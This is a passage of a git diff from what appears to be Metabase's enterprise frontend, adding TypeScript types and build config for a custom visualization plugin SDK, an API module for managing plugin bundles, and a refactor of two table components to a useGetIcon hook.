+ size: string | number;
+ family: string;
+ weight: string | number;
+};
+
+export interface TextSize {
+ width: number;
+ height: number;
+}
+
+export type TextWidthMeasurer = (
+ text: string,
+ style: FontStyle,
+) => TextSize["width"];
+
+export type TextHeightMeasurer = (
+ text: string,
+ style: FontStyle,
+) => TextSize["height"];
+
+export type TextMeasurer = (text: string, style: FontStyle) => TextSize;
diff --git a/enterprise/frontend/src/custom-viz/src/types/viz-settings.ts b/enterprise/frontend/src/custom-viz/src/types/viz-settings.ts
new file mode 100644
index 00000000000..91adaef589a
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/viz-settings.ts
@@ -0,0 +1,286 @@
+import type { ReactNode } from "react";
+
+import type { Column, Series } from "./data";
+import type { ClickBehavior } from "./viz";
+
+export type WidgetName = keyof Widgets;
+
+export type Widgets = {
+ input: InputProps;
+ number: NumberProps;
+ radio: RadioProps;
+ select: SelectProps;
+ toggle: ToggleProps;
+ segmentedControl: SegmentedControlProps;
+ field: FieldProps;
+ fields: FieldsProps;
+ color: ColorProps;
+ multiselect: MultiselectProps;
+};
+
+export type InputProps = {
+ placeholder?: string;
+};
+
+export type NumberProps = {
+ options?: {
+ isInteger?: boolean;
+ isNonNegative?: boolean;
+ };
+ placeholder?: string;
+};
+
+export type RadioProps = {
+ options: {
+ name: string;
+ value: boolean | string | null;
+ }[];
+};
+
+export type SelectProps = {
+ options: {
+ name: string;
+ value: boolean | string | null;
+ }[];
+ placeholder?: string;
+ placeholderNoOptions?: string;
+};
+
+export type ToggleProps = never;
+
+export type SegmentedControlProps = {
+ options: {
+ name: string;
+ value: string;
+ }[];
+};
+
+export type FieldProps = {
+ columns: Column[];
+ options: {
+ name: string;
+ value: string;
+ }[];
+ showColumnSetting?: boolean;
+};
+
+export type FieldsProps = {
+ addAnother?: ReactNode;
+ columns: Column[];
+ options: {
+ name: string;
+ value: string;
+ }[];
+ showColumnSetting?: boolean;
+ showColumnSettingForIndicies?: number[];
+};
+
+export type ColorProps = {
+ title?: string;
+};
+
+export type MultiselectProps = {
+ options: {
+ label: string;
+ value: string;
+ }[];
+ placeholder?: string;
+ placeholderNoOptions?: string;
+};
+
+type PropsFromWidget<W extends WidgetName> = Widgets[W];
+
+type CommonVisualizationSettings = {
+ "card.title"?: string | undefined | null;
+ "card.description"?: string | undefined | null;
+ "card.hide_empty"?: boolean | undefined | null;
+ click_behavior?: ClickBehavior | undefined;
+};
+
+export type CustomVisualizationSettings<
+ TSettings extends Record<string, unknown>,
+> = TSettings & CommonVisualizationSettings;
+
+export type CreateDefineSetting<TSettings extends Record<string, unknown>> =
+ () => <W extends WidgetName, Key extends keyof TSettings>(settingDefinition: {
+ /**
+ * Unique key that identifies this setting. Must match the key used in your
+ * `CustomVisualizationSettings` type and in the `settings` map passed to
+ * `createCustomVisualization`.
+ */
+ id: Key;
+
+ /**
+ * Top-level section that this setting appears under in the settings sidebar
+ * (e.g. `"Data"`, `"Display"`, `"Axes"`).
+ */
+ section?: string;
+
+ /** Human-readable label rendered above the widget in the sidebar. */
+ title?: string;
+
+ /**
+ * Sub-heading within a `section` used to cluster related settings
+ * visually (e.g. `"X-axis"`, `"Y-axis"`). Settings sharing the same
+ * `group` within a section are rendered under a common sub-heading.
+ */
+ group?: string;
+
+ /**
+ * Controls the display order of settings when they're placed in the same group.
+ */
+ index?: number;
+
+ /**
+ * When `true`, the widget is rendered on the same line as its `title`
+ * label rather than below it. Best suited for compact widgets like
+ * `"toggle"`.
+ */
+ inline?: boolean;
+
+ /**
+ * When `true`, the computed default value (from `getDefault`) is written
+ * into the card's stored `visualization_settings` the first time the query
+ * runs, even though the user never explicitly changed the setting.
+ *
+ * Use this for settings whose default depends on the query result and must
+ * survive subsequent renders without re-running `getDefault`. For example,
+ * auto-selected axis columns are persisted so that manually
+ * reordering series does not lose the original
+ * auto-selection when the question is saved and reopened.
+ *
+ * Without `persistDefault`, `getDefault` re-runs on every render and any
+ * derived state (e.g. user-applied series order) built on top of the
+ * default can be silently reset when data or column order changes.
+ */
+ persistDefault?: boolean;
+
+ /**
+ * Setting IDs that must be computed before this setting.
+ *
+ * The settings engine resolves each listed ID first so their values are
+ * available in the `settings` argument passed to `getDefault`, `getValue`,
+ * `isValid`, and `getProps`. Required because computed settings are memoized —
+ * without an explicit ordering a dependency may still be `undefined` when
+ * this setting tries to read it.
+ */
+ readDependencies?: string[];
+
+ /**
+ * Setting IDs whose current computed values are persisted alongside this
+ * setting whenever it changes.
+ *
+ * On change, the engine snapshots each listed setting's current computed
+ * value into the write payload. Use this to "lock in" dynamic defaults of
+ * related settings so they aren't silently recalculated under the new
+ * context and lose user intent.
+ */
+ writeDependencies?: string[];
+
+ /**
+ * Setting IDs that are reset to `null` whenever this setting changes.
+ *
+ * On change, each listed setting is set to `null` in the persisted payload,
+ * forcing it to recompute from scratch on the next render. Use this to
+ * invalidate derived settings whose stored value becomes stale or meaningless
+ * after the change.
+ */
+ eraseDependencies?: string[];
+
+ /**
+ * Widget to render for this setting. Must be one of the built-in widget
+ * names (see `WidgetName`). Custom React components are not supported:
+ * plugin code must run inside the sandbox, and a custom widget would be
+ * rendered host-side, bypassing it.
+ */
+ widget: W;
+
+ /**
+ * Determines whether the stored value for this setting is still valid given
+ * the current data and resolved settings. Called during the settings
+ * resolution pass before the visualization renders.
+ *
+ * When `isValid` returns `false`, the stored value is discarded and
+ * `getDefault` is used instead. This keeps settings coherent when the
+ * underlying query changes — for example, when a saved column reference no
+ * longer exists in the result set.
+ *
+ * @param series - The current query result (rows + column metadata).
+ * @param settings - All settings resolved so far, respecting `readDependencies` ordering.
+ * @returns `true` to keep the stored value, `false` to fall back to`getDefault`.
+ */
+ isValid?: (
+ series: Series,
+ settings: CustomVisualizationSettings<TSettings>,
+ ) => boolean;
+
+ /**
+ * Computes the default value for this setting when no stored value exists,
+ * or when `isValid` returns `false` for the stored value.
+ *
+ * Called during the settings resolution pass before the visualization renders.
+ * The returned value is used transiently unless `persistDefault` is `true`,
+ * in which case it is written into the card's stored `visualization_settings`
+ * on the first query run.
+ *
+ * @param series - The current query result (rows + column metadata).
+ * @param settings - All settings resolved so far, respecting `readDependencies` ordering.
+ * @returns The default value for this setting.
+ */
+ getDefault?: (
+ series: Series,
+ settings: CustomVisualizationSettings<TSettings>,
+ ) => TSettings[Key];
+
+ /**
+ * Returns additional props passed to the setting's `widget` component,
+ * beyond the base props the engine always provides.
+ *
+ * Called on every render. Use it to derive widget configuration from the
+ * current query result or resolved settings — for example, populating a
+ * dropdown's `options` list from the available columns.
+ *
+ * The return type is inferred from the `widget` value: props of the named
+ * built-in widget. Omit `getProps` entirely when the widget has no
+ * configurable props (`ToggleProps` is `never`).
+ *
+ * @param series - The current query result (rows + column metadata).
+ * @param vizSettings - All settings resolved so far, respecting `readDependencies` ordering.
+ * @returns Props object merged into the widget component's props.
+ */
+ getProps?: PropsFromWidget<W> extends never
+ ? never
+ : (
+ series: Series,
+ vizSettings: CustomVisualizationSettings<TSettings>,
+ ) => PropsFromWidget<W>;
+
+ /**
+ * Computes a derived value for this setting on every render, overriding both
+ * the stored value and the result of `getDefault`.
+ *
+ * Use this when the setting's effective value must always be derived from the
+ * current query result or other resolved settings, and storing a user-chosen
+ * value makes no sense. Unlike `getDefault`, `getValue` is always called —
+ * the stored value is never used.
+ *
+ * @param series - The current query result (rows + column metadata).
+ * @param settings - All settings resolved so far, respecting `readDependencies` ordering.
+ * @returns The computed value for this setting.
+ *
+ * @example
+ * // Always reflect the number of series currently in the result
+ * getValue: (series, _settings) => series.length,
+ */
+ getValue?: (
+ series: Series,
+ settings: CustomVisualizationSettings<TSettings>,
+ ) => TSettings[Key];
+ }) => CustomVisualizationSettingDefinition<TSettings>;
+
+declare const SettingDefinitionSymbol: unique symbol;
+
+export type CustomVisualizationSettingDefinition<_CustomVisualizationSettings> =
+ {
+ readonly [SettingDefinitionSymbol]: never;
+ };
diff --git a/enterprise/frontend/src/custom-viz/src/types/viz.ts b/enterprise/frontend/src/custom-viz/src/types/viz.ts
new file mode 100644
index 00000000000..f66daa137a3
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/types/viz.ts
@@ -0,0 +1,273 @@
+import type { ComponentType } from "react";
+
+import type { Column, RowValue, Series } from "./data";
+import type {
+ CreateDefineSetting,
+ CustomVisualizationSettingDefinition,
+ CustomVisualizationSettings,
+} from "./viz-settings";
+
+/**
+ * Export this function to define a custom visualization.
+ */
+export type CreateCustomVisualization<
+ TSettings extends Record<string, unknown>,
+> = (
+ props: CreateCustomVisualizationProps<TSettings>,
+) => CustomVisualization<TSettings>;
+
+export type CreateCustomVisualizationProps<
+ TSettings extends Record<string, unknown>,
+> = {
+ defineSetting: ReturnType<CreateDefineSetting<TSettings>>;
+
+ /**
+ * Returns a URL for a static asset declared in the plugin manifest.
+ * Use this to reference images and other static files from your plugin.
+ * @example getAssetUrl("icon.svg")
+ */
+ getAssetUrl: (assetPath: string) => string;
+
+ /**
+ * Locale to render visualization with (e.g. "de", "ja", "en").
+ */
+ locale: string;
+};
+
+export type CustomVisualization<TSettings extends Record<string, unknown>> = {
+ /**
+ * A unique visualization identifier. It's not shown in the UI.
+ */
+ id: string;
+
+ /**
+ * Returns visualization name to be shown in the UI.
+ */
+ getName(): string;
+
+ /**
+ * Set to false to disable saving the question as PNG.
+ */
+ canSavePng?: boolean;
+
+ /**
+ * Set to true to disable the default visualization header.
+ */
+ noHeader?: boolean;
+
+ /**
+ * Min size on dashboard grid.
+ */
+ minSize?: VisualizationGridSize;
+
+ /**
+ * Default size on dashboard grid.
+ */
+ defaultSize?: VisualizationGridSize;
+
+ /**
+ * Visualization settings definitions.
+ */
+ settings?: Record<
+ keyof TSettings,
+ CustomVisualizationSettingDefinition<TSettings>
+ >;
+
+ /**
+ * This function should throw if the visualization cannot be rendered with given data and settings.
+ */
+ checkRenderable: (
+ series: Series,
+ settings: CustomVisualizationSettings<TSettings>,
+ ) => void | never;
+
+ /**
+ * Mount the visualization into the container. Called once per visualization
+ * instance. Return a handle whose update() receives new props and unmount()
+ * tears down the React tree.
+ */
+ mount: CustomVisualizationMount<TSettings>;
+
+ /**
+ * Static visualization renderer (server-side PNG/PDF path, not sandboxed).
+ * Out of scope for the near-membrane hardening; stays as a plain component.
+ */
+ VisualizationComponent: ComponentType<CustomVisualizationProps<TSettings>>;
+};
+
+export type VisualizationGridSize = {
+ /**
+ * Number of grid columns in a Metabase dashboard.
+ */
+ width: number;
+
+ /**
+ * Number of grid rows in a Metabase dashboard.
+ */
+ height: number;
+};
+
+export type CustomVisualizationProps<
+ TSettings extends Record<string, unknown>,
+> = {
+ width: number | null;
+
+ height: number | null;
+
+ series: Series;
+
+ settings: CustomVisualizationSettings<TSettings>;
+
+ colorScheme: "light" | "dark";
+
+ onClick: (
+ clickObject: ClickObject<CustomVisualizationSettings<TSettings>> | null,
+ ) => void;
+
+ onHover: (hoverObject?: HoverObject | null) => void;
+};
+
+/**
+ * Handle returned by a plugin's mount call. The host calls update() to
+ * push new props (data, settings, dimensions) and unmount() on cleanup.
+ */
+export type CustomVisualizationMountHandle<TProps> = {
+ update(props: TProps): void;
+ unmount(): void;
+};
+
+/**
+ * Mount adapter signature. Plugin owns its React tree and renders into
+ * the host-provided container. All DOM writes originate sandbox-side.
+ */
+export type CustomVisualizationMount<
+ TSettings extends Record<string, unknown>,
+> = (
+ container: Element,
+ initialProps: CustomVisualizationProps<TSettings>,
+) => CustomVisualizationMountHandle<CustomVisualizationProps<TSettings>>;
+
+export type ClickObject<TSettings extends Record<string, unknown>> = {
+ /** The raw value of the clicked cell. */
+ value?: RowValue;
+
+ /** Column metadata for the clicked cell. */
+ column?: Column;
+
+ /**
+ * Dimension values associated with the clicked data point.
+ * For example, when clicking a bar in a bar chart, dimensions
+ * contain the breakout values (e.g. the category and date) that
+ * identify the clicked bar.
+ */
+ dimensions?: ClickObjectDimension[];
+
+ /** The browser MouseEvent that triggered the click. Used to position popovers. */
+ event?: MouseEvent;
+
+ /** The DOM element that was clicked. Used to anchor popovers. */
+ element?: Element;
+
+ /** Visualization settings at the time of the click. */
+ settings?: CustomVisualizationSettings<TSettings>;
+
+ /**
+ * The full row of data and column metadata for the clicked data point.
+ * Provides access to the raw row values and their columns — useful when
+ * the click needs context beyond the single clicked cell.
+ */
+ origin?: {
+ /** All values in the clicked row. */
+ row: RowValue[];
+ /** Column metadata for each value in `row`. */
+ cols: Column[];
+ };
+
+ /**
+ * Column–value pairs for every column in the clicked row.
+ * Used by the drill-through system to determine available actions
+ * (e.g. filtering, detail views).
+ */
+ data?: ClickObjectDataRow[];
+};
+
+/** A single column–value pair within a {@link ClickObject.data} array. */
+export interface ClickObjectDataRow {
+ /** Column metadata. May be `null` for computed/custom columns. */
+ col: Column | null;
+ /** The raw value for this column in the clicked row. */
+ value: RowValue;
+}
+
+/** A dimension value associated with a clicked data point. */
+export interface ClickObjectDimension {
+ /** The raw value of the dimension. */
+ value: RowValue;
+ /** Column metadata for the dimension. */
+ column: Column;
+}
+
+/** A single data point shown as a row in the hover tooltip. */
+export type HoveredDataPoint = {
+ /** Label displayed in the tooltip row. */
+ key: string;
+ /** The raw value displayed in the tooltip row. */
+ value: RowValue;
+ /** Column metadata used to format the value. */
+ col: Column;
+};
+
+/** A dimension value shown in the hover tooltip. */
+export type HoveredDimension = {
+ /** The raw dimension value. */
+ value: RowValue;
+ /** Column metadata for the dimension. */
+ column: Column;
+};
+
+export type HoverObject = {
+ /**
+ * Index of the hovered series. Used by the legend to highlight
+ * the active series and mute the others.
+ */
+ index?: number;
+
+ /** Index of the hovered series within the series array. */
+ seriesIndex?: number;
+
+ /** The raw value of the hovered data point. Used as a single-row tooltip when `data` and `dimensions` are absent. */
+ value?: unknown;
+
+ /** Column metadata for the hovered value. Used for formatting in the tooltip. */
+ column?: Column;
+
+ /**
+ * Array of column–value pairs to display as rows in the tooltip.
+ * This is the primary way to provide tooltip content.
+ */
+ data?: HoveredDataPoint[];
+
+ /**
+ * Dimension values for the hovered data point.
+ * Used as fallback tooltip content when `data` is not provided.
+ */
+ dimensions?: HoveredDimension[];
+
+ /** The DOM element being hovered. Used to anchor the tooltip popover. */
+ element?: Element;
+
+ /** The browser MouseEvent. Used as a fallback anchor when `element` is not available. */
+ event?: MouseEvent;
+};
+
+declare const ClickBehaviorSymbol: unique symbol;
+
+/**
+ * Opaque/engine-owned click behavior config.
+ *
+ * This is intentionally not a structural type: custom visualization authors
+ * should treat it as an opaque value (pass through only).
+ */
+export type ClickBehavior = {
+ readonly [ClickBehaviorSymbol]: "ClickBehavior";
+};
diff --git a/enterprise/frontend/src/custom-viz/src/vite-env.d.ts b/enterprise/frontend/src/custom-viz/src/vite-env.d.ts
new file mode 100644
index 00000000000..ce1e43f5eb0
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/src/vite-env.d.ts
@@ -0,0 +1,4 @@
+declare module "*?raw" {
+ const content: string;
+ export default content;
+}
diff --git a/enterprise/frontend/src/custom-viz/tsconfig.json b/enterprise/frontend/src/custom-viz/tsconfig.json
new file mode 100644
index 00000000000..909fa54f1de
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/tsconfig.json
@@ -0,0 +1,21 @@
+{
+ "compilerOptions": {
+ "jsx": "react-jsx",
+ "target": "ES2020",
+ "module": "ES2020",
+ "moduleResolution": "bundler",
+ "lib": ["ES2020"],
+ "outDir": "dist",
+ "rootDir": "src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true,
+ "resolveJsonModule": true,
+ "declaration": true,
+ "declarationMap": true,
+ "sourceMap": true
+ },
+ "include": ["src"],
+ "exclude": ["node_modules", "dist", "src/templates/**/*"]
+}
diff --git a/enterprise/frontend/src/custom-viz/tsconfig.lib.json b/enterprise/frontend/src/custom-viz/tsconfig.lib.json
new file mode 100644
index 00000000000..166663417c4
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/tsconfig.lib.json
@@ -0,0 +1,13 @@
+{
+ "extends": "./tsconfig.json",
+ "include": [
+ "src/index.ts",
+ "src/column-types.ts",
+ "src/define-config.tsx",
+ "src/format.ts",
+ "src/measure-text.ts",
+ "src/types/**/*.ts",
+ "src/vite-env.d.ts"
+ ],
+ "exclude": ["node_modules", "dist", "src/types/_example*"]
+}
diff --git a/enterprise/frontend/src/custom-viz/vite.config.ts b/enterprise/frontend/src/custom-viz/vite.config.ts
new file mode 100644
index 00000000000..d982e1303a0
--- /dev/null
+++ b/enterprise/frontend/src/custom-viz/vite.config.ts
@@ -0,0 +1,34 @@
+/* eslint-disable import/no-default-export */
+import { resolve } from "path";
+
+import { defineConfig } from "vite";
+import dts from "vite-plugin-dts";
+
+export default defineConfig({
+ plugins: [
+ dts({
+ tsconfigPath: resolve(__dirname, "tsconfig.lib.json"),
+ }),
+ ],
+ build: {
+ target: "node20",
+ outDir: "dist",
+ lib: {
+ entry: {
+ cli: resolve(__dirname, "src/cli.ts"),
+ index: resolve(__dirname, "src/index.ts"),
+ },
+ formats: ["es"],
+ },
+ rolldownOptions: {
+ external: [
+ "commander",
+ "react",
+ "react/jsx-runtime",
+ "react-dom",
+ "react-dom/client",
+ /^node:/,
+ ],
+ },
+ },
+});
diff --git a/enterprise/frontend/src/metabase-enterprise/api/custom-viz-plugin.ts b/enterprise/frontend/src/metabase-enterprise/api/custom-viz-plugin.ts
new file mode 100644
index 00000000000..dd9878fa6f6
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/api/custom-viz-plugin.ts
@@ -0,0 +1,152 @@
+import type {
+ CreateCustomVizPluginRequest,
+ CreateDevCustomVizPluginRequest,
+ CustomVizPlugin,
+ CustomVizPluginId,
+ CustomVizPluginRuntime,
+ ReplaceCustomVizPluginBundleRequest,
+ UpdateCustomVizPluginRequest,
+} from "metabase-types/api";
+
+import { EnterpriseApi } from "./api";
+import { idTag, invalidateTags, listTag } from "./tags";
+
+export const customVizPluginApi = EnterpriseApi.injectEndpoints({
+ endpoints: (builder) => ({
+ listCustomVizPlugins: builder.query<CustomVizPluginRuntime[], void>({
+ query: () => ({
+ method: "GET",
+ url: "/api/ee/custom-viz-plugin/list",
+ }),
+ providesTags: (plugins = []) => [
+ listTag("custom-viz-plugin"),
+ ...plugins.map((plugin) => idTag("custom-viz-plugin", plugin.id)),
+ ],
+ }),
+ listAllCustomVizPlugins: builder.query<CustomVizPlugin[], void>({
+ query: () => ({
+ method: "GET",
+ url: "/api/ee/custom-viz-plugin",
+ }),
+ providesTags: (plugins = []) => [
+ listTag("custom-viz-plugin"),
+ ...plugins.map((plugin) => idTag("custom-viz-plugin", plugin.id)),
+ ],
+ }),
+ createCustomVizPlugin: builder.mutation<
+ CustomVizPlugin,
+ CreateCustomVizPluginRequest
+ >({
+ query: ({ file }) => {
+ const formData = new FormData();
+ formData.append("file", file);
+ return {
+ method: "POST",
+ url: "/api/ee/custom-viz-plugin",
+ body: { formData },
+ formData: true,
+ fetch: true,
+ };
+ },
+ invalidatesTags: (_, error) =>
+ invalidateTags(error, [listTag("custom-viz-plugin")]),
+ }),
+ replaceCustomVizPluginBundle: builder.mutation<
+ CustomVizPlugin,
+ ReplaceCustomVizPluginBundleRequest
+ >({
+ query: ({ id, file }) => {
+ const formData = new FormData();
+ formData.append("file", file);
+ return {
+ method: "PUT",
+ url: `/api/ee/custom-viz-plugin/${id}/bundle`,
+ body: { formData },
+ formData: true,
+ fetch: true,
+ };
+ },
+ invalidatesTags: (_, error, { id }) =>
+ invalidateTags(error, [
+ listTag("custom-viz-plugin"),
+ idTag("custom-viz-plugin", id),
+ ]),
+ }),
+ createDevCustomVizPlugin: builder.mutation<
+ CustomVizPlugin,
+ CreateDevCustomVizPluginRequest
+ >({
+ query: (body) => ({
+ method: "POST",
+ url: "/api/ee/custom-viz-plugin/dev",
+ body,
+ }),
+ invalidatesTags: (_, error) =>
+ invalidateTags(error, [listTag("custom-viz-plugin")]),
+ }),
+ deleteCustomVizPlugin: builder.mutation<void, CustomVizPluginId>({
+ query: (id) => ({
+ method: "DELETE",
+ url: `/api/ee/custom-viz-plugin/${id}`,
+ }),
+ invalidatesTags: (_, error) =>
+ invalidateTags(error, [listTag("custom-viz-plugin")]),
+ }),
+ updateCustomVizPlugin: builder.mutation<
+ CustomVizPlugin,
+ UpdateCustomVizPluginRequest
+ >({
+ query: ({ id, ...body }) => ({
+ method: "PUT",
+ url: `/api/ee/custom-viz-plugin/${id}`,
+ body,
+ }),
+ invalidatesTags: (_, error, { id }) =>
+ invalidateTags(error, [
+ listTag("custom-viz-plugin"),
+ idTag("custom-viz-plugin", id),
+ ]),
+ }),
+ setCustomVizPluginDevUrl: builder.mutation<
+ { dev_bundle_url: string | null },
+ { id: CustomVizPluginId; dev_bundle_url: string | null }
+ >({
+ query: ({ id, ...body }) => ({
+ method: "PUT",
+ url: `/api/ee/custom-viz-plugin/${id}/dev-url`,
+ body,
+ }),
+ invalidatesTags: (_, error, { id }) =>
+ invalidateTags(error, [
+ listTag("custom-viz-plugin"),
+ idTag("custom-viz-plugin", id),
+ ]),
+ }),
+ refreshCustomVizPlugin: builder.mutation<
+ CustomVizPlugin,
+ CustomVizPluginId
+ >({
+ query: (id) => ({
+ method: "POST",
+ url: `/api/ee/custom-viz-plugin/${id}/refresh`,
+ }),
+ invalidatesTags: (_, error, id) =>
+ invalidateTags(error, [
+ listTag("custom-viz-plugin"),
+ idTag("custom-viz-plugin", id),
+ ]),
+ }),
+ }),
+});
+
+export const {
+ useListCustomVizPluginsQuery,
+ useListAllCustomVizPluginsQuery,
+ useCreateCustomVizPluginMutation,
+ useCreateDevCustomVizPluginMutation,
+ useDeleteCustomVizPluginMutation,
+ useUpdateCustomVizPluginMutation,
+ useRefreshCustomVizPluginMutation,
+ useReplaceCustomVizPluginBundleMutation,
+ useSetCustomVizPluginDevUrlMutation,
+} = customVizPluginApi;
diff --git a/enterprise/frontend/src/metabase-enterprise/api/index.ts b/enterprise/frontend/src/metabase-enterprise/api/index.ts
index 6bdaae5ed4e..d0402e7daec 100644
--- a/enterprise/frontend/src/metabase-enterprise/api/index.ts
+++ b/enterprise/frontend/src/metabase-enterprise/api/index.ts
@@ -4,6 +4,7 @@ export * from "./audit-info";
export * from "./billing-info";
export * from "./cloud-add-ons";
export * from "./content-translation";
+export * from "./custom-viz-plugin";
export * from "./db-routing";
export * from "./dependencies";
export * from "./gdrive";
diff --git a/enterprise/frontend/src/metabase-enterprise/api/tags.ts b/enterprise/frontend/src/metabase-enterprise/api/tags.ts
index 18051567055..fc67efbc78a 100644
--- a/enterprise/frontend/src/metabase-enterprise/api/tags.ts
+++ b/enterprise/frontend/src/metabase-enterprise/api/tags.ts
@@ -29,6 +29,7 @@ import {
export const ENTERPRISE_TAG_TYPES = [
...TAG_TYPES,
+ "custom-viz-plugin",
"scim",
"gsheets-status",
"sandbox",
diff --git a/enterprise/frontend/src/metabase-enterprise/caching/components/StrategyEditorForQuestionsAndDashboards/TableRowForCacheableItem.tsx b/enterprise/frontend/src/metabase-enterprise/caching/components/StrategyEditorForQuestionsAndDashboards/TableRowForCacheableItem.tsx
index 2920968df34..5dd2b16ee23 100644
--- a/enterprise/frontend/src/metabase-enterprise/caching/components/StrategyEditorForQuestionsAndDashboards/TableRowForCacheableItem.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/caching/components/StrategyEditorForQuestionsAndDashboards/TableRowForCacheableItem.tsx
@@ -4,7 +4,7 @@ import { getShortStrategyLabel } from "metabase/admin/performance/utils";
import { MaybeLink } from "metabase/common/components/Badge/Badge.styled";
import { EllipsifiedCollectionPath } from "metabase/common/components/EllipsifiedPath/EllipsifiedCollectionPath";
import { Link } from "metabase/common/components/Link";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Box, Button, Ellipsified, FixedSizeIcon, Flex } from "metabase/ui";
import * as Urls from "metabase/urls";
import type { CacheableModel } from "metabase-types/api";
@@ -29,6 +29,7 @@ export const TableRowForCacheableItem = ({
updateTarget: UpdateTarget;
isFormDirty: boolean;
}) => {
+ const getIcon = useGetIcon();
const { name, id, collection, model, strategy, iconModel } = item;
const iconName = iconModel
diff --git a/enterprise/frontend/src/metabase-enterprise/clean_up/CleanupCollectionModal/CleanupCollectionTable.tsx b/enterprise/frontend/src/metabase-enterprise/clean_up/CleanupCollectionModal/CleanupCollectionTable.tsx
index 67058250658..06f3d7191d3 100644
--- a/enterprise/frontend/src/metabase-enterprise/clean_up/CleanupCollectionModal/CleanupCollectionTable.tsx
+++ b/enterprise/frontend/src/metabase-enterprise/clean_up/CleanupCollectionModal/CleanupCollectionTable.tsx
@@ -11,7 +11,7 @@ import {
TableColumn,
} from "metabase/common/components/ItemsTable/BaseItemsTable.styled";
import { Columns } from "metabase/common/components/ItemsTable/Columns";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Ellipsified, FixedSizeIcon, Flex, Tooltip } from "metabase/ui";
import type { SortingOptions } from "metabase-types/api/sorting";
@@ -47,91 +47,94 @@ export const CleanupCollectionTable = ({
onToggleSelected,
onSelectAll,
onSelectNone,
-}: CleanupCollectionTableProps) => (
- <div className={CS.tableContainer}>
- <Table className={CS.table} cellPadding="0" cellSpacing="0">
- <colgroup>
- {/* Select */}
- <Columns.Select.Col />
- {/* Name */}
- <Columns.Name.Col isInDragLayer={false} />
- {/* Collection */}
- <TableColumn width="280px" />
- {/* Last used at */}
- <TableColumn width="160px" />
- </colgroup>
- <thead className={CS.tableHead}>
- <tr>
+}: CleanupCollectionTableProps) => {
+ const getIcon = useGetIcon();
+ return (
+ <div className={CS.tableContainer}>
+ <Table className={CS.table} cellPadding="0" cellSpacing="0">
+ <colgroup>
{/* Select */}
- <Columns.Select.Header
- selectedItems={selectedItems}
- hasUnselected={hasUnselected}
- onSelectAll={onSelectAll}
- onSelectNone={onSelectNone}
- />
+ <Columns.Select.Col />
{/* Name */}
- <SortableColumnHeader
- name="name"
- sortingOptions={sortingOptions}
- onSortingOptionsChange={onSortingOptionsChange}
- >
- <Ellipsified>{t`Name`}</Ellipsified>
- </SortableColumnHeader>
+ <Columns.Name.Col isInDragLayer={false} />
{/* Collection */}
- <ColumnHeader>
- <Ellipsified>{t`Collection`}</Ellipsified>
- </ColumnHeader>
+ <TableColumn width="280px" />
{/* Last used at */}
- <SortableColumnHeader
- name="last_used_at"
- sortingOptions={sortingOptions}
- onSortingOptionsChange={onSortingOptionsChange}
- >
- {c(`Describes the date something was last used`).t`Last used at`}
- </SortableColumnHeader>
- </tr>
- </thead>
- <TBody>
- {items.map((item) => (
- <tr key={itemKeyFn(item)}>
+ <TableColumn width="160px" />
+ </colgroup>
+ <thead className={CS.tableHead}>
+ <tr>
{/* Select */}
- <Columns.Select.Cell
- testIdPrefix="clean-up-table"
- icon={getIcon(item)}
- isPinned={false}
- isSelected={getIsSelected(item)}
- handleSelectionToggled={() => onToggleSelected(item)}
+ <Columns.Select.Header
+ selectedItems={selectedItems}
+ hasUnselected={hasUnselected}
+ onSelectAll={onSelectAll}
+ onSelectNone={onSelectNone}
/>
{/* Name */}
- <ItemCell data-testid="clean-up-table-collection">
- <Flex align="center" gap="sm">
- <FixedSizeIcon name={getIcon(item).name} c="brand" />
- <Ellipsified>{item.name}</Ellipsified>
- </Flex>
- </ItemCell>
+ <SortableColumnHeader
+ name="name"
+ sortingOptions={sortingOptions}
+ onSortingOptionsChange={onSortingOptionsChange}
+ >
+ <Ellipsified>{t`Name`}</Ellipsified>
+ </SortableColumnHeader>
{/* Collection */}
- <ItemCell data-testid="clean-up-table-collection">
- {item.collection && (
- <Flex align="center" gap="sm">
- <FixedSizeIcon name="folder" />
- <Ellipsified>
- {getCollectionName(item.collection)}
- </Ellipsified>
- </Flex>
- )}
- </ItemCell>
+ <ColumnHeader>
+ <Ellipsified>{t`Collection`}</Ellipsified>
+ </ColumnHeader>
{/* Last used at */}
- <ItemCell
- data-testid="clean-up-table-last-used-at"
- data-server-date
+ <SortableColumnHeader
+ name="last_used_at"
+ sortingOptions={sortingOptions}
+ onSortingOptionsChange={onSortingOptionsChange}
>
- <Tooltip label={<DateTime value={item.last_used_at} />}>
- <DateTime unit="day" value={item.last_used_at} />
- </Tooltip>
- </ItemCell>
+ {c(`Describes the date something was last used`).t`Last used at`}
+ </SortableColumnHeader>
</tr>
- ))}
- </TBody>
- </Table>
- </div>
-);
+ </thead>
+ <TBody>
+ {items.map((item) => (
+ <tr key={itemKeyFn(item)}>
+ {/* Select */}
+ <Columns.Select.Cell
+ testIdPrefix="clean-up-table"
+ icon={getIcon(item)}
+ isPinned={false}
+ isSelected={getIsSelected(item)}
+ handleSelectionToggled={() => onToggleSelected(item)}
+ />
+ {/* Name */}
+ <ItemCell data-testid="clean-up-table-collection">
+ <Flex align="center" gap="sm">
+ <FixedSizeIcon name={getIcon(item).name} c="brand" />
+ <Ellipsified>{item.name}</Ellipsified>
+ </Flex>
+ </ItemCell>
+ {/* Collection */}
+ <ItemCell data-testid="clean-up-table-collection">
+ {item.collection && (
+ <Flex align="center" gap="sm">
+ <FixedSizeIcon name="folder" />
+ <Ellipsified>
+ {getCollectionName(item.collection)}
+ </Ellipsified>
+ </Flex>
+ )}
+ </ItemCell>
+ {/* Last used at */}
+ <ItemCell
+ data-testid="clean-up-table-last-used-at"
+ data-server-date
+ >
+ <Tooltip label={<DateTime value={item.last_used_at} />}>
+ <DateTime unit="day" value={item.last_used_at} />
+ </Tooltip>
+ </ItemCell>
+ </tr>
+ ))}
+ </TBody>
+ </Table>
+ </div>
+ );
+};
